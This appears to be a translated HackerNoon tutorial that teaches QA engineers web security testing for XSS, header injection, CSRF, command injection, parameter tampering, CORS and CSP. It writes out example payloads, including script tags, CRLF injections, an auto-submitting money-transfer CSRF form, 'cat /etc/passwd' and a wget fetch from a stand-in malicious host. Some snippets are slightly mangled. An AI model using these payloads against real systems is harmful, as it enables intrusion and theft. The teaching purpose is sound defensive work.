paint-brush
网络安全要点:针对 QA 工程师的实用 Web 应用程序安全测试技巧经过@shad0wpuppet
24,039 讀數
24,039 讀數

网络安全要点:针对 QA 工程师的实用 Web 应用程序安全测试技巧

经过 Konstantin Sakhchinskiy10m2024/01/24
Read on Terminal Reader
Read this story w/o Javascript

太長; 讀書

增强 Web 应用程序安全测试技能的实用见解和技巧,重点关注 XSS、标头注入、CSRF、RCE、Web 参数篡改、CORS 和内容安全策略等漏洞。它旨在弥合软件质量保证和网络安全之间的差距,使质量保证专业人员能够为安全缺陷的早期检测和缓解做出贡献。网络安全和质量保证之间的合作对于采用统一和主动的软件开发方法、保护数据、声誉和财务稳定至关重要。该文章强调受控环境中的道德渗透测试。
featured image - 网络安全要点:针对 QA 工程师的实用 Web 应用程序安全测试技巧
Konstantin Sakhchinskiy HackerNoon profile picture
0-item


本文探讨了基本的漏洞和测试技术,提供了增强 Web 应用程序渗透测试技能的实用见解。本文结合了我专门针对 QA 工程师和分析师的一系列帖子,提供了对基本网络安全漏洞的实际探索。目的是为 QA 工程师/测试人员/分析师提供弥合软件 QA 和网络安全之间差距的知识,从而形成统一的方法来确保 Web 应用程序的完整性和安全性。


这不是终极指南,但我想分享我作为一名对网络安全领域感兴趣的 QA 工程师的经验;如果您有兴趣更深入地了解某些方面,这将是非常肤浅的信息,其中包含一些有用的链接。

1.XSS(跨站脚本)

XSS 是最严重且最常见的漏洞之一 - https://owasp.org/www-community/attacks/xss/

我将分享关于如何测试 XSS 的简单方法和技巧,而无需具备丰富的现场知识和前端开发技术知识。


  • 例如,在应用程序的输入字段中输入脚本标记,后跟一些 JS 代码。
 <script>alert('XSS');</script> (%0ejavascript:alert(/XSS/))
  • 提交输入并查看脚本是否执行。

  • 如果是这样,那么应用程序很容易受到 XSS 攻击。

  • 如果脚本未执行,请尝试通过添加其他 HTML 标记(例如<img><iframe>)来修改输入,并查看它们是否反映在页面上,例如(这个示例几乎总是适合我)

     <b>t</b>#`"/*—est
  • 您可以添加脚本来查询 Web 应用程序 URL 的参数或用户名、上传的文件名 ( https://github.com/cure53/H5SC ) 或将在应用程序页面上显示的任何您可以更改的文本。

  • 注意输入的前端验证。始终尝试使用直接请求(使用 Postman、Burp 或任何类似工具)提交值。

  • 使用模糊测试和有效负载列表 - 尽可能自动化此方法或使用特殊工具。


说到工具,有很多工具可以用来发现 XSS,尝试不同的工具,与不同的应用程序多次比较结果,然后选择您最喜欢的一个:https: //linuxhint.com/free_xss_tools/ (我用过很多) OWASP ZAP 和 BurpSuite)。

就我个人而言,我喜欢使用这里的有效负载和信息 - https://github.com/s0md3v/AwesomeXSS - 在我看来,这是一个非常有用的资源。


有关 XSS 和负载的更多详细信息,您可以找到以下资源:

2. 标头注入

当攻击者可以将恶意代码注入网站标头,从而允许他们执行未经授权的操作或访问敏感信息时,就会出现此漏洞。

要测试标头注入,您可以按照以下几个步骤操作:


  • 使用 Postman、Burp 或任何类似工具来操作 HTTP 标头,并查看是否可以添加任何未经授权的标头或修改现有标头。
  • 检查服务器是否在响应标头中发送敏感信息。
  • 尝试通过添加恶意内容或修改其值来操纵 cookie。用于测试标头注入的有效负载的一个示例是在标头字段中包含换行符,后跟其他标头。
 (%0d%0a OR \r\n)

例如,以下有效负载可用于注入 Set-Cookie 标头:

 User-Agent: Mozilla/5.0\r\nSet-Cookie: sessionid=111111 https:// yoursite. com?cookie=123%0D%0ASet-Cookie%3A%20TESTCOOKIE=hacked

另一个例子是 Host 标头注入,攻击者可以操纵 Host 标头来访问同一服务器上的另一个网站或子域。例如:

 Host: yoursite.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: admin.yoursite.com


要了解有关 Header 注入的更多信息,您可以参考以下资源:


3.CSRF(跨站请求伪造)

当恶意网站诱骗用户在用户当前登录的其他网站上进行操作时,就会发生 CSRF。此类攻击可能会导致代表用户执行未经授权的操作(任何 POST 请求)。

要测试 CSRF 漏洞,简而言之,您可以执行以下操作:


  • 查找网站上执行敏感操作的任何表单或操作,可能是更改密码或进行交易(或任何其他发布请求,如果在用户不知情的情况下代表用户执行这些请求,则可能对用户有害)。
  • 制作一个 HTML 页面或代码片段,其中包含执行相同操作的隐藏表单,例如:
 <html> <body onload="document.forms[0].submit()"> <form action="https:// yoursite .com /money_transfer" method="POST"> <input type="hidden" name="toAccount" value="attackerAccount"> <input type="hidden" name="amount" value="1000"> </form> </body> </html>


  • 将此代码保存为 HTML 文件,并在您登录测试站点的同一浏览器中打开它。
  • 检查操作是否是在用户不知情或未经用户许可的情况下执行的。在示例 2 中,用户被诱骗访问一个网站,该网站会自动提交隐藏表单,将 1000 转入攻击者在目标网站上的帐户。


为了防止 CSRF 攻击,请使用反 CSRF 令牌或同站点 cookie 来验证请求的来源。这些令牌是由服务器生成并包含在表单或 URL 参数中的唯一值。提交表单时,服务器检查令牌是否与预期值匹配,如果不匹配则拒绝请求。下面是一个 Python 示例:

 import requests # Get the CSRF token from the cookie def get_csrf_token(): cookie = requests.utils.dict_from_cookiejar(requests.cookies) return cookie.get('csrfToken') # Send an HTTP request with the CSRF token in the headers def send_http_request(url, data): csrf_token = get_csrf_token() headers = { 'Content-Type': 'application/json', 'X-CSRF-TOKEN': csrf_token } response = requests.post(url, headers=headers, data=data) return response


有用的资源:


4. RCE(远程代码执行)和命令注入

当攻击者可以在目标系统上执行任意代码或操作系统命令时,就会出现 RCE 和命令注入漏洞。这些类型的攻击可能会导致系统完全受损以及对敏感数据的未经授权的访问。

要测试 RCE 和命令注入漏洞,简而言之,您可以执行以下操作:


  • 识别可以操作的输入字段或参数。这些输入字段或参数可以在很多地方找到,例如表单、URL 参数、cookie、HTTP 标头等。要识别此类参数,您可以使用 Burp Suite 等工具,它允许您拦截并获取这些参数。修改 HTTP 请求和响应(免费版本)。 Burp 将捕获并显示所有请求和响应,包括输入字段和参数。获得参数后,您需要检查它们是否可用于执行插入的代码或操作系统命令。
  • 将恶意有效负载注入到这些字段或参数中,以下是一些可能的简单示例:


 ; ls -la - list the contents of a directory cat /etc/passwd - show the password file wget https://myhackersite.evil/payload - download files with malicious code from a remote server ping -c 1 https://www.linkedin.com/redir/general-malware-page?url=myhackersite%2eevil%2ecom - ping the attacker's website 3


  • 检查应用程序的行为,查看有效负载是否成功执行以及是否向您发送了任何敏感信息。例如,如果您使用ls -la并且应用程序显示了服务器上的文件和目录列表,则这表明有效负载已成功执行并且应用程序容易受到命令注入的攻击。


并非所有有效负载都会产生一些可见的输出。在这种情况下,您可能需要使用其他方法,例如监控网络流量或查看日志文件。

为了防止 RCE 和命令注入攻击,必须验证用户输入,并且必须删除或清理恶意字符或命令。

以下是一些有助于进一步学习的有用资源:


5. Web参数篡改

当您操纵从客户端发送到服务器端的参数时,就会发生这种类型的攻击,从而导致未经授权的访问或权限升级。

要测试此类漏洞,您可以执行以下操作:


  • 识别可以操作的输入字段或参数。与其他漏洞类似,您可以使用 Burp Suite 等工具来拦截和修改 HTTP 请求和响应。
  • 修改参数。例如,如果一个参数控制产品的价格,您可以修改它以更低的价格购买商品:- 将产品的价格从 10 更改为 1。- 通过操纵用户 ID 参数绕过身份验证。- 更改将产品数量设置为负数即可获得退款,或者设置为更高的数字即可以 1 件商品的价格购买更多商品。
  • 检查应用程序的行为以查看篡改是否成功。例如,如果您成功更改价格,则应用程序应在您检查购物车或收据时反映该更改。
  • 当然,请将您的发现报告给开发人员,以便他们可以在问题成为安全风险之前解决问题。


为了防止 Web 参数篡改攻击,输入验证和清理至关重要。确保所有输入数据在服务器端经过验证,并且应用程序拒绝任何恶意输入。我想说,这些类型的漏洞是 QA 团队识别的最佳漏洞,因为 QA 比通常不参与开发过程的信息安全工程师更了解应用程序/产品及其逻辑和参数。

以下是一些其他资源,可帮助您了解有关 Web 参数篡改的更多信息:


6. 跨源资源共享(CORS)

这是一种安全机制,可限制网页向与提供该网页的域不同的域发出请求。

您可以通过执行以下操作进行测试:


  • 在浏览器中打开任何应禁止访问您的主机的域(例如,google.com)。
  • 在浏览器控制台中使用以下命令:
 fetch('https://beapimysite.com') .then(response=>response.json()) .then(data=>{ console.log(data); })
  • 如果一切配置正确,您应该得到以下信息:
 access to fetch at 'https://beapimysite.com' from origin 'https://www. google.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

执行以下简单步骤:


  1. 查找请求中涉及的源域和目标域。源域是发出请求的网页的域,目标域是请求发送到的域。
  2. 使用 Postman 等工具,将请求从源域发送到目标域。确保包含适当的标头以指示该请求是跨源请求。
  3. 服务器应在响应中包含 Access-Control-Allow-Origin 标头,以指示允许来自源域的请求。如果此标头丢失或设置为不同的值,则可能表明应用程序中存在漏洞。
  4. 如果 Access-Control-Allow-Origin 标头丢失或设置为某个值,请尝试通过修改请求来绕过限制。例如,您可以尝试更改 Origin 标头以匹配目标域或使用不同的 HTTP 方法。以下是一些要测试的请求示例:
 Request from https://mysite.com to https://beapimysite.com: GET /api/data HTTP/1.1 Host: beapimysite.com Origin: https ://mysite.com Access-Control-Request-Method: GET Access-Control-Request-Headers: X-Requested-With

回复:

 HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Headers: X-Requested-With


有关 CORS 的更多信息,以下是一些有用的资源:


7. 未设置内容安全策略 (CSP) 标头

CSP 是一种通过允许指定允许在网页上加载的内容源来帮助防止 XSS 攻击的机制。如果没有设置 CSP 标头,就有可能将恶意脚本注入页面并窃取敏感用户数据或执行其他操作。

您可以执行以下操作来检查 CSP 标头:


  • 在浏览器中打开要测试的网页。
  • 在浏览器中打开开发工具并转到控制台。
  • 输入以下代码:
 document.cookie=TESTCOOKIE=XSS;


  • 如果运行成功 - 没有错误消息。这表明该页面可能容易受到 XSS 攻击,因为它允许从外部源设置 cookie。


尝试将脚本注入页面并查看它是否执行。例如,将以下代码插入到浏览器控制台:

 var script = document.create; Element('script');script.src = 'http://dangeroussite.com/dolphin.js'; document.head.appendChild(script);

在响应标头中查找 Content-Security-Policy 标头。如果缺少此标头,则表示该网页没有设置 CSP 标头。

CSP 标头在 Web 应用程序安全中非常重要。


有关 CSP 的更多信息:




网络安全和软件质量保证之间的共生关系对于软件应用程序的安全性非常重要。通过威胁建模方法和自动模糊测试技术的集成,质量保证工程师为安全漏洞的早期检测和缓解做出了重大贡献。网络安全和 QA 团队之间的协作构成了统一软件开发方法不可或缺的一部分,QA 的作用超出了功能和可用性测试范围,涵盖了主动识别和纠正潜在安全缺陷。将质量保证视为网络安全工作中的战略资产非常重要,因为它不仅可以增强数据保护,还可以维护公司的声誉、客户信任和整体财务稳定性。质量保证专业人员的技术技能加上严格的测试实践,建立了针对网络威胁的强大防御。

一个重要的提醒:

始终在明确许可的情况下并在受控环境中进行渗透测试。这种道德方法确保安全评估与负责任的测试协议保持一致,防止系统无意中受到损害,并维护测试过程和总体网络安全策略的完整性。


本文分享了 QA 工程师改进 Web 应用程序安全测试、连接软件 QA 和网络安全的实用技巧。这是一本适合初学者的指南,为那些希望了解更多信息的人提供了见解和有用的链接。


也发布在这里